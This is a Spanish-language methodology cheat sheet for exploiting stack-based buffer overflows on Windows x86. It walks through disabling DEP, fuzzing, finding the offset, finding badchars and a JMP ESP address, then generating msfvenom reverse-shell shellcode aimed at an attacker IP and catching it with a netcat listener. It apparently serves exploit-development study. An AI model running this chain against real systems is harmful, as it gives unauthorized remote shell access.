# Stack-Based Buffer Overflow Windows x86

## Configuración de ambiente Windows

* Instalar Immunity Debugger: <https://www.immunityinc.com/>
  * Configurar ejecutar como administrador: clic derecho -> Propiedades -> Compatibilidad -> Habilitar opción "Ejecutar este programa como administrador".
* Instalar mona.py: <https://github.com/corelan/mona>
  * `C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`

### Desactivar la prevención de ejecución de datos (DEP / Data Execution Prevention)

#### Windows XP

* Panel de control -> Sistema -> Avanzado -> Inicio y Recuperación -> Configuración -> Editar
  * Reemplazar `OptIn` por `AlwaysOff`.

#### Windows 7

```shell
bcdedit.exe /set <current> nx AlwaysOff
```

Reiniciar el sistema operativo y posteriormente comprobar en: Mi PC -> clic derecho -> Propiedades -> Avanzando -> Rendimiento -> Configuración -> Data Execution Prevention.

## Procedimiento

### 0) Pre-inicio <a href="#procedimiento-0" id="procedimiento-0"></a>

Identificar dirección IP y puerto donde se ejecuta el binario, y cual campo es vulnerable a buffer overflow.

> Archivo: [parameters.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/parameters.py)

### 1) Fuzzing <a href="#procedimiento-1" id="procedimiento-1"></a>

Realizar fuzzing para encontrar con cuantos bytes se desborda el búfer y se sobrescribe el registro EIP (Extended Instruction Pointer).

> Archivo: [01-fuzzing.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/01-fuzzing.py)

{% hint style="info" %}
Sincronizar (`Ctrl + F1`) y ejecutar (`F9`) el proceso en Immunity Debugger.
{% endhint %}

### 2) Offset <a href="#procedimiento-2" id="procedimiento-2"></a>

Creación de "pattern" para calcular el "offset".

```shell
# number-of-bytes = number-of-bytes + 200
msf-pattern_create -l <number-of-bytes>
```

Identificación de "offset".

```shell
# Metasploit
msf-pattern_offset -q <EIP-value>
# Mona
!mona findmsp
```

> Archivo: [02-findOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/02-findOffset.py)

### 3) Verificar el offset <a href="#procedimiento-3" id="procedimiento-3"></a>

Verificar el "offset" identificado y control del EIP.

```
fuzzing = offset + BBBB + CCCC + padding
offset  = AAAA... 41414141...
EIP     = BBBB    42424242
ESP     = CCCC    43434343
padding = DDDD... 44444444...
```

> Archivo: [03-checkOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/03-checkOffset.py)

### 4) Buscar los badchars <a href="#procedimiento-4" id="procedimiento-4"></a>

```shell
# Configuración de carpeta de trabajo en Mona
!mona config -set workingfolder c:\mona\%p
# Generación de badchars
!mona bytearray
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrado
!mona bytearray -cpb "\x00"
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrados
!mona bytearray -cpb "\x00\x0a"
```

> Archivo: [04-badchars.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/04-badchars.py)

### 5) Encontrar "JMP ESP" <a href="#procedimiento-5" id="procedimiento-5"></a>

Verificación de badchars.

```shell
!mona bytearray -cpb "<badchars>"
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
```

* \<badchars> = `\x00\x0a\x0d`

Obtención de dirección "JMP ESP" utilizando Mona.

```shell
msf-nasm_shell
jmp esp
FFE4
```

```shell
# FFE4 = \xff\xe4\
!mona modules
# Dynamic-Link Library (DLL)
!mona find -s "\xff\xe4\" -m <name.dll>
# Executable (.exe)
## opción 1
!mona jmp -r esp -cpb <badchars>
## opción 2
!mona jmp -r esp -m <name.exe>
```

Obtención de dirección "JMP ESP" utilizando `findjmp.exe`.

```shell
findjmp.exe
findjmp.exe <name.dll> ESP
```

> Archivo: [05-jmpESP.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/05-jmpESP.py)

### 6) Exploit <a href="#procedimiento-6" id="procedimiento-6"></a>

Generación de shellcode.

```shell
# Windows
## reverse shell
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -a x86 --platform windows -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python
## abrir calculadora de Windows
msfvenom -p windows/exec cmd=calc.exe EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python

# Linux/Unix
## reverse shell
msfvenom -p linux/x86/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
```

* \<badchars> = `\x00\x0a\x0d`

Ejecutar exploit de buffer overflow.

```shell
# Netcat
nc -lvnp <listen-port>
# Ejecutar exploit de buffer overflow
python3 exploit.py
```

> Archivo: [06-exploit.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/06-exploit.py)